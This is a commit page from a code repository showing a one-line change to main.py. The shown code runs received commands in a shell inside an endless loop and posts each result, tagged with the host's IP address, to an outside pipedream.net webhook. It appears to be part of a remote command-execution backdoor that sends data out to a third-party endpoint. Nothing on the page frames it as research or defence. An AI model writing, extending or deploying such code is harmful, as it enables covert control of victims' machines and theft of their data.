summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 00:00:21 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 00:00:21 +0800
commite1cb895f0e0ecc8d2154b9b3b29a49aedab3a26b (patch)
treefde72cf2d73d21dc7ead3da499bb0bcca2406318 /main.py
parent86fcb9adec11a4a14c725c6d98da48e007fc30ad (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py2
1 files changed, 1 insertions, 1 deletions
diff --git a/main.py b/main.py
index eb23035..8ee2217 100644
--- a/main.py
+++ b/main.py
@@ -52,7 +52,7 @@ while True:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server")
continue
- cmdout = system(command, shell=True)
+ cmdout = system(command, shell=True).decode()
if cmdout != "":
try:
post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: {cmdout}")